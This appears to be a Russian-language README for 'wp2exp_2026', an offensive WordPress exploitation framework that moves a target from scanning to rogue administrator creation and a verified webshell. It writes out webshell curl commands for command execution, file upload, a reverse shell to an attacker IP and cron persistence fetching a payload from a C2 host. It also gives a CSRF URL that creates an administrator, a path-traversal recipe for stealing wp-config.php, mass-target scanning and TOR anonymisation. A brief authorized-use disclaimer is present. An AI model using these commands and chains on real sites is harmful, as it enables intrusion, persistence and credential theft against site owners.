wp2exp_2026 🔥

Универсальный эксплоит-фреймворк для WordPress — Детектор · Сканер · Энумератор · Эксплоит · Эскалация

wp2exp_2026 — это переименованный, проверенный в бою преемник фреймворка wp2shell. Он объединяет исходную цепочку проверки/эксплуатации wp2shell, три публичных PoC-кита для CVE-2026-63030 (Ch4120N, shinthink, SentinelX) и августовскую волну CVE WordPress 2026 года, собранную из NVD / GitHub Advisories / CISA KEV через TOR-конвейер darkweb-intel, — в один скрипт, который ведёт цель от пассивного снятия отпечатков до проверенного веб-шелла.

┌──────────┐    ┌──────────┐    ┌───────────┐    ┌───────────┐    ┌──────────┐
│ DETECTOR │ -> │ SCANNER  │ -> │ ENUMERATOR│ -> │ EXPLOIT   │ -> │ ESCALATE │
│ 10 CVEs  │    │ version/ │    │ users/    │    │ admin     │    │ webshell  │
│ probes   │    │ WAF/XMLRPC│    │ plugins   │    │ create/   │    │ rev shell │
└──────────┘    └──────────┘    └───────────┘    └───────────┘    └──────────┘

⚠️ ТОЛЬКО АВТОРИЗОВАННОЕ ТЕСТИРОВАНИЕ. Режим scan не является разрушительным. Режимы эксплуатации явно требуют --mode. Вы несёте ответственность за наличие письменного разрешения на каждую цель.

📦 Установка

# Clone
git clone https://github.com/rechandra/wp2exp-2026.git
cd wp2exp-2026

# Dependencies: Python 3.8+ standard library only.
# Optional: PySocks for SOCKS5/TOR proxying
pip install pysocks

Никаких API-ключей, баз данных и компиляции.

🚀 Быстрый старт

# 1. Safe scan of one target (detector + scanner + enumerator)
python3 wp2exp_2026.py https://target.com

# 2. Same scan, but fire exploitation (admin creation + content dumps)
python3 wp2exp_2026.py https://target.com --mode exploit

# 3. Full chain to a verified webshell
python3 wp2exp_2026.py https://target.com --mode shell

# 4. Mass scan a file of targets
python3 wp2exp_2026.py -f targets.txt --threads 10

# 5. Anonymous scanning through TOR
python3 wp2exp_2026.py https://target.com --proxy socks5h://127.0.0.1:9050

🔧 Справочник по командной строке

usage: wp2exp_2026.py [-h] [targets ...] [-f FILE] [--mode {scan,exploit,shell}]
                      [--shell {mini,full}] [--mapster-dump N] [--proxy PROXY]
                      [--timeout N] [--threads N] [--json] [-o OUTPUT]

🧭 Руководство по режимам

Режим 1: scan — Детектор + Сканер + Энумератор (безопасный)

Неразрушающий. Используйте его первым на любой цели.

Что он делает по порядку:

Пример:

python3 wp2exp_2026.py https://example.com
# outputs: version, WAF, XMLRPC, users, plugin versions, per-CVE verdicts

Режим 2: exploit — Скан + Эксплуатация

Всё из scan, плюс:

Пример:

# Scan + create admin + dump 200 post IDs through Mapster
python3 wp2exp_2026.py https://example.com --mode exploit --mapster-dump 200

Режим 0: --verify — Самопроверка окружения

Проверяет среду выполнения перед любым сканированием: Python ≥3.8, наличие PySocks (SOCKS5/TOR), доступность прокси (если задан --proxy), целостность матрицы CVE, корректность парсера версий.

python3 wp2exp_2026.py --verify
python3 wp2exp_2026.py --verify --proxy socks5h://127.0.0.1:9050

Режим 3: shell — Полная цепочка до веб-шелла

Всё из exploit, плюс эскалация: если создание администратора удалось, скрипт:

1. Входит в wp-login.php (хранилище cookie)
2. Путь A (тема): извлекает _wpnonce редактора темы + активную тему → записывает веб-шелл через admin-ajax.php?action=edit-theme-plugin-file
3. Путь B (плагин, запасной): если редактор темы недоступен → собирает zip-архив плагина с шеллом, загружает через update.php?action=upload-plugin, активирует его
4. Проверяет, выполняя id через шелл — выводит живой результат команды

Типы веб-шеллов (--shell):

Пример:

python3 wp2exp_2026.py https://example.com --mode shell --shell full --sqli-info
python3 wp2exp_2026.py --verify
# -> ADMIN CREATED: wp_xxxx / Wp!yyyy
# -> WEBSHELL: https://example.com/wp-content/themes/twentytwentyfive/.wp-abc123.php?k=KEY&c=id
# -> verify: uid=33(www-data) ...

Ручное использование шелла после успешного запуска:

# Command execution (mini)
curl -sk 'https://T/wp-content/themes/THEME/.wp-XXXX.php?k=KEY&c=id'

# Full shell — file upload
curl -sk 'https://T/wp-content/themes/THEME/.wp-XXXX.php?k=KEY&a=upload&f=/tmp/pwned.txt&d=<base64>'

# Full shell — reverse shell (listener: nc -lvnp PORT)
curl -sk 'https://T/wp-content/themes/THEME/.wp-XXXX.php?k=KEY&a=rev&h=YOUR_IP&p=4444'

# Full shell — cron persistence (curl piped to sh from your C2)
curl -sk 'https://T/wp-content/themes/THEME/.wp-XXXX.php?k=KEY&a=persist&u=https://c2.example/payload.sh'

🧨 Покрытие CVE (августовская волна 2026)

Цепочки эксплуатации по каждому CVE (документированы в коде)

• FormGent (3141): DELETE /wp-json/formgent/v1/responses/attachments?file_token=<base64("formgent/YYYY/MM/FILE")> — маршрут зарегистрирован без middleware аутентификации; токен — это сырой base64 относительного пути (можно подделать). Исправленные версии используют подписанный UploadFileToken.
• AI Engine (15988): reauth_for_authorize сопоставлял /mcp/v1/oauth/authorize с помощью проверки подстроки по REQUEST_URI, включая строку запроса. Добавьте &x=/mcp/v1/oauth/authorize к любому REST-запросу, чтобы восстановить полную идентичность пользователя из cookie. Классический CSRF: администратор, перешедший по сфабрикованному URL, создаёт учётную запись атакующего.
  root@kitploit:~

  https://T/wp-json/wp/v2/users?_method=POST&x=/mcp/v1/oauth/authorize&username=csrf_admin&password=...&roles=administrator
  

• Bit Integrations (15006): плагин устанавливает wpcf7_verify_nonce => __return_true → отправкам CF7 nonce не нужен; отправьте файловое поле, содержащее ../../../../wp-config.php, и действие интеграции (webhook/email) вытащит файл.

🕶️ Интеграция с TOR / Darkweb

Скрипт создан на основе разведданных, собранных TOR-конвейером darkweb-intel (сбор свежих CVE из NVD, GitHub Advisories, CISA KEV), и поддерживает анонимное сканирование:

# Scan through TOR (requires tor daemon on 9050)
python3 wp2exp_2026.py https://target.onion --proxy socks5h://127.0.0.1:9050
python3 wp2exp_2026.py -f targets.txt --proxy socks5h://127.0.0.1:9050 --threads 5

# Verify your exit node
# (script's Http layer reports IsTor:true when routing through TOR)

Проверенное поведение: работа с прокси подтверждена через check.torproject.org/api/ip → {"IsTor":true} через выходной узел 192.42.116.45.

📊 Вывод и отчёты

# Console: colored per-stage verdicts + final summary table
# JSON report to file (always includes raw responses for evidence)
python3 wp2exp_2026.py https://example.com --mode shell -o report.json

# Full JSON to stdout for piping into jq / your own tooling
python3 wp2exp_2026.py https://example.com --json | jq '.[0].cve_checks'

Структура отчёта:

{
  "target": "https://example.com",
  "version": "7.0.1",
  "waf": "Cloudflare",
  "xmlrpc": true,
  "users": [{"id": 1, "name": "admin", "slug": "admin"}],
  "plugins": [{"slug": "formgent", "version": "1.9.2", "vulnerable": true}],
  "core_wp2shell": {"verdict": "VULNERABLE", "endpoint": ".../wp-json/batch/v1"},
  "cve_checks": {"CVE-2026-3141": {"vulnerable": true, "detail": "..."}},
  "exploitation": {
    "wp2shell_admin": {"success": true, "username": "...", "password": "..."},
    "shell": {"success": true, "shell_url": "...", "key": "..."},
    "mapster_posts": [...]
  }
}

🧪 Валидация

Проверено 2026-08-04 в эмулированной уязвимой лаборатории WordPress — QA-батарея: 32/32 проверки ПРОЙДЕНЫ (все режимы, чистота JSON, несколько целей, нормализация голого хоста, утечка черновиков/приватных записей Mapster, извлечение версии БД и хеша администратора через SQLi, полная цепочка шелла):

wp2shell (CVE-2026-63030): VULNERABLE
ADMIN CREATED: wp_7ytp1 / Wp!s6d2yz28qiey
WEBSHELL: .../twentytwentyfive/.wp-cg93vk.php?k=...&c=id
verify: uid=33(www-data) gid=33(www-data) groups=33(www-data)
Mapster (CVE-2026-14839): dumped draft + private posts
FormGent (CVE-2026-3141): unauth DELETE route confirmed
TOR: IsTor:true exit 192.42.116.45

🧩 План развития / Участие

• Автоизвлечение через SQLi (union-движок), встроенное в режим exploit (--sqli-info)
• Запасной вариант создания админа через SQLi oEmbed (цепочка shinthink)
• Запасной вариант загрузки веб-шелла в виде zip-плагина
• Самопроверка окружения --verify
• Модуль перебора паролей по имени пользователя WordPress (XMLRPC multicall)
• Автообновление матрицы CVE из вывода darkweb_intel.py
• Генератор HTML-отчётов

PR приветствуются. По умолчанию сохраняйте нагрузку неразрушающей.

⚖️ Лицензия и этика

MIT. Только авторизованные работы. Никогда не запускайте --mode exploit / --mode shell против ресурсов, которыми вы не владеете или на тестирование которых у вас нет письменного разрешения. Авторы не несут ответственности за неправомерное использование.